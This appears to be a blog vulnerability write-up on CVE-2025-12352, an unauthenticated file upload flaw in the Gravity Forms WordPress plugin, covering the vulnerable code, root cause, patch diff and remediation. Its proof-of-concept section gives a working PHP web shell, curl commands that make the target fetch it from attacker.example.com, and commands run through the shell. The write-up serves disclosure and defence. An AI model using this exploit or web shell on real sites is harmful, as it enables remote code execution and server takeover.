CVE-2025-12352: Arbitrary File Upload in Gravity Forms

CVE-2025-12352 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the Gravity Forms WordPress plugin. It affects all versions up to and including 2.9.20. An unauthenticated attacker can upload any file — including a PHP web shell — directly to the WordPress uploads directory. On servers where allow_url_fopen is enabled and PHP executes from the uploads directory, this leads to full remote code execution without any credentials.

Vulnerability Summary

FieldValue
Plugin NameGravity Forms
Plugin Sluggravityforms
CVE IDCVE-2025-12352
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Arbitrary File Upload
Affected Versions<= 2.9.20
Patched Version2.9.21
PublishedNovember 7, 2025
ResearcherTalal Nasraddeen
Wordfence AdvisoryLink

Description

The Gravity Forms plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to and including 2.9.20. The flaw is in copy_post_image(), which copies files from a user-supplied URL to the WordPress media directory. It does not verify that the URL belongs to the plugin’s own upload folder. When allow_url_fopen is On in PHP, an unauthenticated attacker can point this function at an external PHP script. The file is fetched and saved with no extension or MIME-type check — which can lead to remote code execution on the affected server.


Technical Analysis

Vulnerable Code Path

Entry point — form submission POST handler

When a Gravity Forms form is submitted, the plugin reads the gform_uploaded_files POST parameter (a JSON-encoded array) and stores its contents in the static GFFormsModel::$uploaded_files global cache via set_uploaded_files().

File: forms_model.php, function set_uploaded_files() (line ~8520)

public static function set_uploaded_files( $form_id ) {
    $files = GFCommon::json_decode( rgpost( 'gform_uploaded_files' ) );
    // ...
    foreach ( $files as $input_name => &$input_files ) {
        // ...
        if ( isset( $file['url'] ) ) {
            $file['url'] = esc_url_raw( $file['url'] );  // Only sanitizes, does NOT restrict to local URLs
        }
        // ...
    }
    self::$uploaded_files[ $form_id ] = $files;
}

The url key in gform_uploaded_files is only sanitized with esc_url_raw(), which cleans URL formatting but allows any valid URL — including external ones.

Field value retrieval — get_submission_files() and get_single_file_value()

File: includes/fields/class-gf-field-fileupload.php, line ~1050

} elseif ( ! empty( $files['existing'][0]['url'] ) ) {
    if ( GFCommon::is_valid_url( $files['existing'][0]['url'] ) ) {
        GFCommon::log_debug( __METHOD__ . '(): Saving provided URL, not uploading file.' );
        $value = $files['existing'][0]['url'];   // External URL saved with NO extension check
    }
}

GFCommon::is_valid_url() only confirms the string is a well-formed URL. It does not check whether the URL points to an allowed file type or whether it is local to the site.

Post data assembly — get_post_data_for_save()

File: forms_model.php, line ~4819

case 'post_image':
    $ary  = ! empty( $value ) ? explode( '|:|', $value ) : array();
    $url  = count( $ary ) > 0 ? $ary[0] : '';
    // ...
    array_push( $images, array( 'field_id' => $field->id, 'url' => $url, ... ) );
    break;

The URL (which may now be an external PHP file URL) is assembled into the post_data['images'] array.

Post creation — create_post() calls media_handle_upload()

File: forms_model.php, line ~5220

$media_id = self::media_handle_upload( $image['url'], $post_id, $image_meta );

The vulnerable sink — copy_post_image()

File: forms_model.php, line 5451 (vulnerable version tag 2.9.20)

private static function copy_post_image( $url, $post_id ) {
    // ...
    $name     = wp_basename( $url );              // Derives filename from attacker-controlled URL
    $filename = wp_unique_filename( $upload_dir['path'], $name );
    $new_file = $upload_dir['path'] . "/$filename";

    // Source path — NO check that $url belongs to GF uploads directory
    $upload_root_info = GF_Field_FileUpload::get_upload_root_info( $form_id );
    $path = str_replace( $upload_root_info['url'], $upload_root_info['path'], $url );
    // If $url is an external URL, str_replace changes nothing; $path remains the external URL

    if ( ! copy( $path, $new_file ) ) {   // PHP copy() fetches the remote URL when allow_url_fopen=On
        return false;
    }
    // ... no file type/extension validation before or after copy
}

Root Cause

The copy_post_image() function accepts the $url argument without checking where it comes from. It tries to convert the URL to a local path using str_replace(). But if the URL does not start with the GF upload root URL, str_replace() changes nothing — and $path stays as the external URL. PHP’s native copy() function can fetch remote URLs as its source when allow_url_fopen is enabled in php.ini. This lets it download and save any remote file to the uploads directory, with no extension or MIME-type check.

Bypassed Security Controls

The regular Gravity Forms file upload flow does enforce extension and MIME-type validation via GFCommon::check_type_and_ext() and GFCommon::file_name_has_disallowed_extension(). However, these checks apply only to files submitted via $_FILES (direct HTTP file upload). The copy_post_image() code path is a separate, internal mechanism designed to copy an already-uploaded image into the WordPress media library. No check was ever added to block URLs coming from outside the plugin’s own upload directory.

The attacker submits the url key inside gform_uploaded_files in the POST body. Gravity Forms treats this as a “dynamically populated” or “previously uploaded” file URL. That code path skips all file type validation.

Attack Impact

An unauthenticated attacker can upload a PHP web shell (or any other executable file) to the WordPress uploads directory. Many servers run PHP from the uploads directory unless an .htaccess rule blocks it. In that case, the attacker gains unauthenticated Remote Code Execution (RCE): full server compromise, data theft, backdoor installation, or site defacement.


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Identify a form ID with post creation and a Post Image field

Inspect the page source of any page containing a Gravity Forms form. Find the form ID from the hidden input or the form’s data-formid attribute. Also find the Post Image field ID (the input_N name where N is the field ID).

# Example: form ID is 1, post image field ID is 3
# The input name for the post image field would be: input_3

Step 2: Host a PHP web shell at an attacker-controlled URL

# On your attacker server (e.g., http://attacker.example.com/shell.php):
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 80

Step 3: Submit the form with a crafted gform_uploaded_files parameter

Replace SITE_URL, FORM_ID, NONCE, and field ID values as appropriate. The gform_uploaded_files JSON tells Gravity Forms that a file has already been uploaded at the external shell URL.

curl -s -X POST "https://TARGET_SITE/wp-admin/admin-ajax.php" \
  -d 'action=gform_get_form_filter' \
  --cookie "" 2>/dev/null

# First, fetch the form page to get the nonce and form fields:
curl -s "https://TARGET_SITE/the-page-with-the-form/" -o form_page.html

# Extract the nonce value from the response:
grep -oP 'gform_ajax_frame_[^"]+' form_page.html | head -1

Step 4: Submit the crafted form

curl -s -X POST "https://TARGET_SITE/" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'gform_submit=1' \
  --data-urlencode 'is_submit_1=1' \
  --data-urlencode 'gform_unique_id=exploit-test' \
  --data-urlencode 'state_1=[]' \
  --data-urlencode 'gform_target_page_number_1=0' \
  --data-urlencode 'gform_source_page_number_1=1' \
  --data-urlencode 'gform_field_values=' \
  --data-urlencode 'input_3=' \
  --data-urlencode 'gform_uploaded_files={"input_3":[{"url":"http://attacker.example.com/shell.php","id":"aaaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"}]}'

Step 5: Locate the uploaded shell in the media library

After a successful form submission, Gravity Forms creates a post with the copied image as its featured media. The copied file will appear in:

/wp-content/uploads/YYYY/MM/shell.php

The exact URL can be found in the WordPress media library or by browsing the uploads directory.

Step 6: Execute commands via the uploaded web shell

curl "https://TARGET_SITE/wp-content/uploads/2025/11/shell.php?cmd=id"
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Expected Result

The PHP web shell shell.php is stored in the WordPress uploads directory and is executable by the web server, giving the attacker unauthenticated remote code execution on the target host.

Verification

Confirm successful exploitation by:

  1. Checking the WordPress Media Library for a new attachment with the name shell.php (or shell-1.php, etc.)
  2. Issuing a GET request to the uploaded shell URL with a cmd parameter and receiving OS command output
  3. Running SELECT * FROM wp_posts WHERE post_mime_type = 'application/x-php' LIMIT 5; against the database to confirm the attachment was registered

Patch Analysis

What Changed

The fix was introduced in Gravity Forms 2.9.21. The only changed file is:

Fix Explanation

The patch adds two guards before the copy() call:

  1. URL origin check — the supplied URL must start with the GF upload root URL. External URLs are rejected immediately.
  2. Local file existence check — the resolved local path must exist on disk before the copy runs.

These two guards together completely close the attack surface: external URLs are rejected, and only files already present in the GF upload directory can be processed.

Code Diff (Key Changes)

--- forms_model.php (2.9.20 — vulnerable)
+++ forms_model.php (2.9.21 — patched)

@@ -5490,7 +5490,13 @@ private static function copy_post_image( $url, $post_id ) {

     // the source path
     $upload_root_info = GF_Field_FileUpload::get_upload_root_info( $form_id );
-    $path             = str_replace( $upload_root_info['url'], $upload_root_info['path'], $url );
+    if ( ! str_starts_with( $url, $upload_root_info['url'] ) ) {
+        return false;
+    }
+
+    $path = str_replace( $upload_root_info['url'], $upload_root_info['path'], $url );
+    if ( ! file_exists( $path ) ) {
+        return false;
+    }

     // copy the file to the destination path
     if ( ! copy( $path, $new_file ) ) {

The fix is precise and complete. It addresses the root cause directly rather than attempting to block specific file extensions or MIME types. There are no known residual risks from this specific change.


Timeline

DateEvent
UnknownVulnerability discovered and reported by Talal Nasraddeen
November 7, 2025Publicly disclosed by Wordfence
November 7, 2025Patched version 2.9.21 released

Remediation

Update the gravityforms plugin to version 2.9.21 or later immediately. If you cannot update right away, disable any forms that have post creation enabled with a Post Image field. As an alternative, restrict those forms to authenticated users only.


References

  1. Wordfence Advisory — Gravity Forms <= 2.9.20 Unauthenticated Arbitrary File Upload via copy_post_image
  2. CVE-2025-12352 — NVD
  3. CVE-2025-12352 — GitHub Advisory Database
  4. Patchstack Advisory — Gravity Forms 2.9.20 Unauthenticated Arbitrary File Upload via copy_post_image
  5. Vulnerable code — forms_model.php line 5451 (pronamic/gravityforms mirror)
  6. File upload class reference — class-gf-field-fileupload.php line 306

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee